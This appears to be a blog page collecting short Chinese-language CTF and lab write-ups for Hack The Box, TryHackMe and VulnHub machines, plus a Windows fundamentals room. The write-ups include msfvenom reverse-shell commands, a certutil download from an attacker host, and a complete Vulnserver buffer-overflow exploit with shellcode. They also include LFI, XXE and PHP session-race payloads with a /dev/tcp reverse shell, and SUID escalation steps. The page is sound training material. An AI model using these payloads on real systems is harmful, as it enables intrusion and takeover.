Devel (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/3 IP : 10.129.208.183 Information Gathering Port Scanrustscan -a 10.129.208.183 -r 1-65535 21 : FTP 80 : Web FTP Services Try to connect to ftpUse Aspx Web shell- https://raw.githubusercontent.com/SecWiki/WebShell-2/master/Aspx/awen%20asp.net%20webshell.aspx Web Shell Install Reverse ShellASPX Reverse shell https://github.com/borjmz/aspx-reverse-shell/blob/master/shell.aspx Reverse shell Check System Infouser : iis apppool\web- System : Win 7 x64 6.1.7600 N/A Build 7600- Check Environment Variable Privilege Escalation With OS VersionExploit : MS11-046 Kernel Exploits- https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS11-046Download Exploit file to target machine- certutil -urlcache -f http://10.10.16.35:8000/ms11-046.exe ms11-046.exeRun binary- Get SystemUser Flag- Root Flag-

2021-09-08 · 1 分鐘 · steven

Legacy (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/2 IP : 10.10.10.4 Info gathering nmap scan portenum4linux check version- nmap check smb version- So… we know that- Domain name : HTB OS : Windows XP Open Services : SMB Find Exploit GoogleXP SMB Exploit https://github.com/helviojunior/MS17-010 MS17-010Prepare reverse shell exe file- msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7879 -f exe > shell_reverse_tcpRun exploit- Get reverse shell- Flag Root FlagUser Flag-

2021-09-05 · 1 分鐘 · steven

Lame (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/Lame IP : 10.129.197.50 Info gathering Port Scanning21,22,139,445,3632- Anonymous FTP SMB 3632 Port distccd File Protocol Try anonymous login FTP It’s emptyTry anonymous login SMB- There are tmp and opt folder Access tmp folder Download all file Exploit Distccd Distccd_rce_CVE-2004-2687https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855 Run Reverse shell- Get User Flag- Privilege escalation Run LinPEASNFS Exploit?- Eterm SGID Binary?- nmap SUID !!Nmap GTFOBins- Shell (2) Interactive shellhttps://gtfobins.github.io/gtfobins/nmap/#suid nmap --interactive nmap> !shGet Root Flag-

2021-09-05 · 1 分鐘 · steven

Beep (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/Beep IP : 10.129.1.226 Recon 80 port is a login pageElastix Find Payload LFI Elastix 2.2.0 - ‘graph.php’ Local File Inclusionhttps://www.exploit-db.com/exploits/37637Try LFI- https://10.129.1.226/vtigercrm/graph.php?current_language=../../../../../../../etc/passwd%00&module=Accounts&action With python request script, it will throw a exception, because the ssl version is toooo ol.- https://stackoverflow.com/questions/32330919/python-ssl-ssl-sslerror-ssl-unsupported-protocol-unsupported-protocol-ssl Use this command to change the min version of TLSsed -i 's/MinProtocol = TLSv1.2/MinProtocol = TLSv1.0/' /etc/ssl/openssl.cnf RCE Find RCE Codehttps://github.com/infosecjunky/FreePBX-2.10.0—Elastix-2.2.0—Remote-Code-Execution/blob/master/exploit.pyTurn nc to receive reverse shell- Privilege Escalation sudo -l check , we can sudo nmapsudo nmap --interactive

2021-09-05 · 1 分鐘 · steven

Battery (Try Hack Me Writeup)

URL : https://tryhackme.com/room/battery IP : 10.10.207.162 Recon 掃 Portrustscan -a 10.10.207.162 -r 1-65535 發現有開22 80nmap -A -p22,80 10.10.207.162- Web 觀察首頁掃路徑- /forms/admin.php- 發現 /forms 把 Header 拔掉就不會自動跳轉- 裡面傳送的資料是 XML ,可能可以 XXE但沒有登入都失敗 function XMLFunction(){ var xml = '' + '' + '' + '' + $('#name').val() + '' + '' + $('#search').val() + '' + ''; var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ console.log(xmlhttp.readyState); console.log(xmlhttp.responseText); document.getElementById('errorMessage').innerHTML = xmlhttp.responseText; } } xmlhttp.open("POST","forms.php",true); xmlhttp.send(xml); }; 在 register.php 註冊一組帳密meow ABC meow 註冊成功嘗試登入- 使用介面上的功能 發現不能使用再註冊一組- meow1 DEF meow1掃目錄- 發現一個 /report載下來發現是一個 ELF- Reverse 選單使用者- 字串比較- 更新- 這邊看到 admin@bank.a 滿可疑的 Web 嘗試註冊 admin@bank.a 被嘲諷ㄌQQ 但這代表應該確實跟這個有關!!用 Burp 後面加上 %00 截斷- 註冊成功- 後台亂輸入都會噴錯- 重新試著 XXE- function XMLFunction(){ var xml = '' + '\n' + ' ]>\n' + '' + '' + "0" + '' + '' + "&b;" + '' + ''; var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ console.log(xmlhttp.readyState); console.log(xmlhttp.responseText); } } xmlhttp.open("POST","forms.php",true); xmlhttp.send(xml); }; XMLFunction(); 可以讀檔 cyber:x:1000:1000:cyber,,,:/home/cyber:/bin/bash mysql:x:107:113:MySQL Server,,,:/nonexistent:/bin/false yash:x:1002:1002:,,,:/home/yash:/bin/bash 看起來有興趣的使用者cyber yash讀取原始碼- php://filter/convert.base64-encode/resource=/var/www/html/acc.php 找到註解上的密碼//MY CREDS :- cyber:super#secure&password! SSH 順利連上取得 Base Flag- 提權 起手式 sudo -l 發現可以用 root 執行一個 run.py``run.py- 但我們沒有權限讀取他 QQ觀察原始碼- admin.php找到 mysql 的帳密Dump Mysql- mysqldump -u root -h 127.0.0.1 -p details > a.sql 看到一組密碼 I_know_my_password但好像就沒有什麼進展了 QQ跑 Linpeas- 發現 Linux Kernel 好像有點舊,可以用 Exploit https://www.exploit-db.com/exploits/37292試著載下來編譯執行- 就成功 Root ㄌFlag2- Root Flag- 另外一種提權法 剛剛可以用 sudo 執行 run.py但是沒有權限可以讀取但因為這是我的家目錄,所以我可以改檔名、新增檔案- 所以自己創一個 run.py- import os os.system("/bin/bash")再 sudo 它- 也可以順利提權 學到ㄌ %00 截斷 XXE 記得加 ;

2021-09-02 · 2 分鐘 · steven

Hack Me Please (VulnHub Writeup)

URL : https://www.vulnhub.com/entry/hack-me-please-1,731/ IP : 192.168.1.111 Recon 掃 Portrustscan -a 192.168.1.111nmap -A -p80,3306,33060 192.168.1.111- 掃 Dir- python3 dirsearch.py -u http://192.168.1.111/ 看不出啥特別ㄉ觀察首頁- 觀察 main.js- 發現註解寫了一個 /seeddms51x/seeddms-5.1.22 的路徑 DMS 掃路徑發現有 install 等資訊觀察原始碼- 到 SorceForge 下載原始碼觀察路徑- 發現路徑內有 /conf/ 可能有重要的資訊/conf/settings.xml 可以存取- 裡面找到 mysql 的帳密 seeddms MySQL 進行 MySQL 連線觀察 DB- 觀察表格- users- 找到一組帳密saket saurav Saket@#$1337但登入 DMS 失敗找到 tblUsers- 分析 hash 應該是 md5哈希貓爆破- 爆不出來QQ自己創一個使用者 mysql INSERT INTO tblUsers (id,login,pwd,fullName,email,role,language,theme,comment) VALUES (3,"meow","4a4be40c96ac6314e91d93f38043a634","Meow","meow@meow.meow",1,"en_US",0,0);- 可以登入,但畫面是白的 QQ改使用者密碼- 原本是 f9ef2c539bad8a6d2f3432b6d49ab51a先存著備用,怕以後要用到update tblUsers set pwd='4a4be40c96ac6314e91d93f38043a634' where id=1;- 就登入成功ㄌ上傳 webshell因為 seeddms51x 目錄沒有鎖權限- 根據觀察,檔案會存在 http://192.168.1.111/seeddms51x/data/1048576/{檔案ID}/1.{檔案附檔名}載 Reverse shell- http://192.168.1.111/seeddms51x/data/1048576/4/1.php?A=wget%20192.168.1.109:8000/s_l接上 Reverse shell- 使用交互式python3 -c 'import pty; pty.spawn("/bin/bash")'切換使用者- 使用當初 DB 看到的密碼提權- sudo -l 發現可以直接成為 root

2021-09-02 · 1 分鐘 · steven

Buffer Overflow Prep OVERFLOW1

https://tryhackme.com/room/bufferoverflowprep Immunity debugger 快捷鍵Ctrl + F2 重開 F9 開始 觀察 nc 上去,決定這次的目標是 OVERFLOW1 Fuzz 準備 Overflow1.spk s_readline(); s_string("OVERFLOW1 "); s_string_variable("0"); 執行 generic_send_tcp 192.168.1.102 1337 Overflow1.spk 0 0 Run 下去他就爛ㄌ 可以觀察到 EIP 變成 41414141 Cyclic 找 Offset from pwn import * r = remote("192.168.1.102",1337) perfix = b"OVERFLOW1 " cy = cyclic() payload = perfix + cy r.sendline(payload) 這題因為長度OK所以可以這樣做正常解法建議先 b'a'*1000 先 try 到 offset 蓋到 EIP 變成 0x6161611000 , 5000 之類的亂猜 因為有時候蓋太多他也會爛到 EIP 不變 QQ之後 cyclic(長度),就可以產出指定的長度觀察 EIP 變成 61757461- pwn cyclic -l 0x61757461- Offset 為 1978重新測試 from pwn import * r = remote("192.168.1.102",1337) perfix = b"OVERFLOW1 " padding = b'a' * 1978 payload = perfix + padding + b'bbbb' r.sendline(payload) ...

2021-08-27 · 3 分鐘 · steven

Vulnserver (TRUN) Windows Overflow

事前準備 Vulnserverhttps://github.com/stephenbradshaw/vulnserver 這邊我的環境是開在 Microsoft Windows 10 專業版 10.0.19042 (沒有用 VM) 關閉 Windows DefenderImmunity Debugger- 安裝 Moma 的 Script把 moma.py 直接丟進 C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands 即可Kali- 安裝 pwntools 其他都有內建 簡介指令 cyclicpwntools 功能 (我覺得用起來比較順手)pwn cyclic或是在 python 裡面的 pwn.cyclic() 可以產出 cyclic 字串 pwn cyclic -l {Pattern in hex}- 隨便取 4 個值,都能知道他 offset 第幾格 msf 功能- /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l {length}產出長度為 length 的字串/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l {length} -q {pattern}- Fuzz 腳本- generic_send_tcp {IP} {Port} {腳本.spk} 0 0 s_readline(); s_string("{command}"); // 開頭要輸入的東西 s_string_variable("0"); 觀察 第一步,nc 上去觀察這次要打ㄉ洞是 TRUN- 基本指令是 TRUN {something} Fuzz 所以寫 TRUN 的 generic_send_tcp 的 Script trun1.spk s_readline(); s_string("TRUN "); // 開頭要輸入的東西 s_string_variable("0"); 執行generic_send_tcp 192.168.1.102 9999 trun1.spk 0 0 Run 下去隔了幾秒鐘, Debugger 就跳卡住了- 下面有寫是 0x41414141 位子錯誤 然後可以發現 EIP 也被變成了 0x41414141 0x41 是 A觀察 EAX- 發現 Command 的開頭是 TRUN /.:/AAA.... 只是我們不知道 Fuzz 有戳幾個 A 但確定他的開頭是 TRUN /.:/ Cyclic 找 Offset 用 cyclic 找 offset from pwn import * r = remote("192.168.1.102",9999) command = b"TRUN /.:/" cyclic_code = cyclic() payload = command + cyclic_code r.sendline(payload) 觀察 EIP 值為 0x61616275輸入 pwn cyclic -l 0x61616275- 就能知道 offset 是 2003測試 Offset 是否正確- 這邊用 0xdeadbeef 進行測試from pwn import * r = remote("192.168.1.102",9999) command = b"TRUN /.:/" padding = b'a'*2003 meow = p32(0xdeadbeef) payload = command + padding + meow r.sendline(payload)- 發現可以成功蓋到 EIP 了 觀察蓋完 EIP 後 觀察蓋完 EIP 後的東東 from pwn import * r = remote("192.168.1.102",9999) command = b"TRUN /.:/" padding = b'a'*2003 new_eip = p32(0xdeadbeef) padding2 = cyclic() payload = command + padding + new_eip + padding2 r.sendline(payload) 一樣用 cyclic 會發現 ESP 指向 aaaa 也就是 0x61616161 就是說,我們的 address 後面直接接的東西會被 EIP 所指到 找 Shell Code 跳躍點 理論上我們在目前寫的後面 shell_code並且把 new_eip 設定為 jmp ESP 即可在 immunity debugger 下面輸入- !mona jmp -r esp 可以找到 jmp ESP 的指令 第一個在 0x625011af所以我們把 EIP 蓋成這個,他接下來就會跳去 EIP 指到的 Memory- 並且執行我們的 Shell Code 生 Reverse shell 接著要想辦法生成 reverse shell 的 shell code 這邊可以直接用 msfvenom 處理msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.106 LPORT=7877 EXITFUNC=thread -f c -a x86 -b "\x00" 整理一下貼到 Python再在前面增加幾個 nop (0x90)做 padding- 避免直接跳出現一些問題 Padding 長度以 32bit 的倍數為原則 padding2 = p32(0x90909090) * 10 完整 Exploit from pwn import * r = remote("192.168.1.102",9999) command = b"TRUN /.:/" padding = b'a'*2003 new_eip = p32(0x625011af) padding2 = p32(0x90909090) * 10 shellcode = (b"\xbe\xb0\x17\xe4\xba\xda\xcc\xd9\x74\x24\xf4\x58\x33\xc9\xb1" b"\x52\x31\x70\x12\x03\x70\x12\x83\x70\x13\x06\x4f\x8c\xf4\x44" b"\xb0\x6c\x05\x29\x38\x89\x34\x69\x5e\xda\x67\x59\x14\x8e\x8b" b"\x12\x78\x3a\x1f\x56\x55\x4d\xa8\xdd\x83\x60\x29\x4d\xf7\xe3" b"\xa9\x8c\x24\xc3\x90\x5e\x39\x02\xd4\x83\xb0\x56\x8d\xc8\x67" b"\x46\xba\x85\xbb\xed\xf0\x08\xbc\x12\x40\x2a\xed\x85\xda\x75" b"\x2d\x24\x0e\x0e\x64\x3e\x53\x2b\x3e\xb5\xa7\xc7\xc1\x1f\xf6" b"\x28\x6d\x5e\x36\xdb\x6f\xa7\xf1\x04\x1a\xd1\x01\xb8\x1d\x26" b"\x7b\x66\xab\xbc\xdb\xed\x0b\x18\xdd\x22\xcd\xeb\xd1\x8f\x99" b"\xb3\xf5\x0e\x4d\xc8\x02\x9a\x70\x1e\x83\xd8\x56\xba\xcf\xbb" b"\xf7\x9b\xb5\x6a\x07\xfb\x15\xd2\xad\x70\xbb\x07\xdc\xdb\xd4" b"\xe4\xed\xe3\x24\x63\x65\x90\x16\x2c\xdd\x3e\x1b\xa5\xfb\xb9" b"\x5c\x9c\xbc\x55\xa3\x1f\xbd\x7c\x60\x4b\xed\x16\x41\xf4\x66" b"\xe6\x6e\x21\x28\xb6\xc0\x9a\x89\x66\xa1\x4a\x62\x6c\x2e\xb4" b"\x92\x8f\xe4\xdd\x39\x6a\x6f\x22\x15\x75\x05\xca\x64\x75\xc7" b"\xcf\xe0\x93\x9d\xdf\xa4\x0c\x0a\x79\xed\xc6\xab\x86\x3b\xa3" b"\xec\x0d\xc8\x54\xa2\xe5\xa5\x46\x53\x06\xf0\x34\xf2\x19\x2e" b"\x50\x98\x88\xb5\xa0\xd7\xb0\x61\xf7\xb0\x07\x78\x9d\x2c\x31" b"\xd2\x83\xac\xa7\x1d\x07\x6b\x14\xa3\x86\xfe\x20\x87\x98\xc6" b"\xa9\x83\xcc\x96\xff\x5d\xba\x50\x56\x2c\x14\x0b\x05\xe6\xf0" b"\xca\x65\x39\x86\xd2\xa3\xcf\x66\x62\x1a\x96\x99\x4b\xca\x1e" b"\xe2\xb1\x6a\xe0\x39\x72\x8a\x03\xeb\x8f\x23\x9a\x7e\x32\x2e" b"\x1d\x55\x71\x57\x9e\x5f\x0a\xac\xbe\x2a\x0f\xe8\x78\xc7\x7d" b"\x61\xed\xe7\xd2\x82\x24") payload = command + padding + new_eip + padding2 + shellcode r.sendline(payload) 本地端開 nc 接 Shell成功!! 參考資料 https://www.hackercat.org/oscp/buffer-overflows-made-easy-notes-oscp-preparation https://www.youtube.com/watch?v=o-1qYzAqM_Q https://www.youtube.com/watch?v=yJF0YPd8lDw

2021-08-25 · 2 分鐘 · steven

Windows Fundamentals 1 (Try Hack Me Writeup)

URL : https://tryhackme.com/room/windowsfundamentals1xbx Task 1 Introduction to Windows 可以用 RDP 之類的方法進入 Windows預設帳號 : administrator 預設密碼 : letmein123!但我直接用 THM 提供的 web RDP 介面- Task 2 Windows Editions Home 版本 跟 Pro 的差別可以使用 BitLocker 可以使用 WIP https://www.microsoft.com/en-us/windows/compare-windows-10-home-vs-proWhat encryption can you enable on Pro that you can’t enable in Home?- A: BitLocker Task 3 The Desktop (GUI) Which selection will hide/disable the Search box? HiddenWhich selection will hide/disable the Task View button?- Show Task View buttonBesides Clock, Volume, and Network, what other icon is visible in the Notification Area?- action center Task 4 The File System 檔案系統FAT16 / FAT32File Allocation Table USB 裝置之類ㄉ還是看ㄉ到HPFS- High Performance File SystemNTFS- New Technology File SystemNTFS 優勢- 文件紀錄系統,可以自動修復日誌 單檔案 >= 4G 可以針對資料夾跟黨按設定權限 資料夾跟檔案的壓縮 加密 (Encryption File System, EFS)NTFS 權限- Read對資料夾 : 可以觀看,跟顯示資料夾中的檔案與子資料夾 對檔案:可以觀看或存取檔案的內容Write- 對資料夾 : 可以在資料夾中增加檔案或子資料夾 對檔案:可以對檔案進行寫入Read & Execute- 對資料夾 : 可以觀看,顯示資料夾中的檔案與子資料夾;可以直行檔案,會繼承給檔案以及資料夾 對檔案:可以觀看、存取檔案的內容,也可以直行黨按List folder contents- 對資料夾:可以觀看,並列出檔案以及子資料夾,以及執行檔案,只能給 資料夾繼承Modify- 對資料夾:可以讀取、寫入檔案以及子資料夾;允許刪除資料夾 對檔案:可以讀取,寫入檔案;允許刪除檔案Full Control- 對資料夾,允許讀取、寫入、變更以及刪除檔案與子資料夾 對檔案:允許讀取、寫入、變更予刪除檔案 Alternate Data Streams (ADS) 一種 NTFS 的 attribute 每一個檔案至少都會有一個 Data Stream ($DATA) ADS 允許一個檔案包含多個 Data Stream Windows Explorer 不會對使用者顯示 ADS,需要透過特定的第三方軟體或是 Powershell 所以有時候 Malware 會使用 ADS 來隱藏資料 延伸閱讀 https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/ 範例建立一個 ADS 的東東用 Dir 看不出來- 用 Type 也看不出來- 可以用 powershell GET-Item -path C:\Users\Administrator\Desktop\example -stream *- CMD 需要裝 Sysinternals 的 Streams- https://docs.microsoft.com/zh-tw/sysinternals/downloads/streamsWhat is the meaning of NTFS?- New Technology File System Task 5 The Windows\System32 Folders %windir%最常見的位子在 C:\Windows 裡面存放著作業系統,但他不一定需要在 C,也有一些喪心病狂的人會把他設定在其他地方 所以我們可以使用環境變數,或是說系統環境變數(System environment variables) 來正確的訪問System32- 資料夾中有許多對作業系統來說很重要的檔案 在變動、刪除時要特別小心,很可能讓系統爛掉What is the system variable for the Windows folder?- %windir% Task 6 User Accounts, Profiles, and Permissions 兩種類型的帳戶Administrator增、刪使用者 修改 Group 修改作業系統設定Standard User- 修改與該使用者相關的資料夾、檔案的屬性 不能做系統層級的修改,例如安裝軟體使用者家目錄- C:\Users\{Username} 預設會有Desktop Documents Downloads Music PicturesLocal User and Group Management- lusrmgr.msc 可以看到各種使用者、群組的資訊What is the name of the other user account?- tryhackmebillyWhat groups is this user a member of?- Remote Desktop Users,UsersWhat built-in account is for guest access to the computer?- GuestWhat is the account status?- Account is disabled Task 7 User Account Control UACUser Account ControlVista 後開始使用的可以觀察到一個安裝檔案可能並沒有使用者相關的權限- 登入一個普通使用者- tryhackmebilly / window$Fun1! 10.10.229.121 會發現多出盾牌 icon如果執行安裝- 會需要輸入 Administrator 的密碼 What does UAC mean?- User Account Control Task 8 Settings and the Control Panel Win8 後出現 Settings 頁面舊版控制台 (Control Panel)- In the Control Panel, change the view to Small icons. What is the last setting in the Control Panel view?- 右上角選 small icons 最後一個選項是 Windows Defender Firewall Task 9 Task Manager What is the keyboard shortcut to open Task Manager?ctrl+shift+esc 哇酷,我還真不知道有這種東西呢 Task 10 Conclusion 喵喵

2021-08-24 · 2 分鐘 · steven

VulnNet (Try Hack Me Writeup)

URL : https://tryhackme.com/room/vulnnet1 IP : 10.10.86.144 題目敘述You will have to add a machine IP with domain vulnnet.thm to your /etc/hosts Recon 掃 Portrustscan -a 10.10.86.144 -r 1-65535nmap -A -p22,80 10.10.86.144- 掃目錄- python3 dirsearch.py -u http://10.10.86.144/ 發現登入頁面- 戳了常見的 SQLi 都不行觀察網頁連結- 透過 js formatter 轉漂亮- broadcast.vulnnet.thm 加到 /etc/hosts前面的階段也可以用 LinkFinder- python3 linkfinder.py -i http://vulnnet.thm/python3 linkfinder.py -i http://vulnnet.thm/js/index__d8338055.js- 發現首頁可以帶一個 ?referer 參數訪問 broadcast.vulnnet.thm- 發現需要登入觀察首頁 referer 參數- 發現可以 LFI用 Session upload progress 大法 import grequests sess_name = 'meowmeow' sess_path = f'/var/lib/php/sessions/sess_{sess_name}' base_url = 'http://vulnnet.thm/index.php' param = "referer" #code = "file_put_contents('/tmp/shell.php','& /dev/tcp/10.13.21.55/7877 0>&1'");''' while True: req = [grequests.post(base_url, files={'f': "A"*0xffff}, data={'PHP_SESSION_UPLOAD_PROGRESS': f"pwned:"}, cookies={'PHPSESSID': sess_name}), grequests.get(f"{base_url}?{param}={sess_path}")] result = grequests.map(req) if "pwned" in result[1].text: print(result[1].text) break 然後就 RCE 了 (感覺就不是正規解…ㄏㄏ 提權 python3 -c 'import pty; pty.spawn("/bin/bash")' 掃豌豆 找到 backup觀察 backup 檔案,發現有 ssh-backup- 偷出來解壓縮- 發現是 id_rsa到家目錄看使用者名稱- server-management發現是 server-management準備 ssh 登入- 發現 id_rsa 需要密碼 QQ用約翰爆破- python3 ../../ssh2john.py id_rsa > id_rsa_john 密碼是 oneTWO3gOyacSSH 登入- 取得 user flag跑豌豆掃到 .htpasswd 密碼的 hash- 猜測應該是給 broadcast.vulnnet.thm 用的 用約翰爆破個 密碼是 ``9972761drmfsls猜測原始思路正規解法應該是 LFI 到這個檔案訪問 broadcast.vulnnet.thm- 使用帳號 developers![](/uploads/2022/02/7cb34-jR4k1zC.png)密碼 9972761drmfsls`- 推測這應該是某個有 RCE 洞的 CMS 正規解是從這邊進 RCE ㄅ 隨便 二次提權 想起前面的 Backup 用了 tar *所以可以快速提權 接 Shell- 取 Root Flag-

2021-08-23 · 1 分鐘 · steven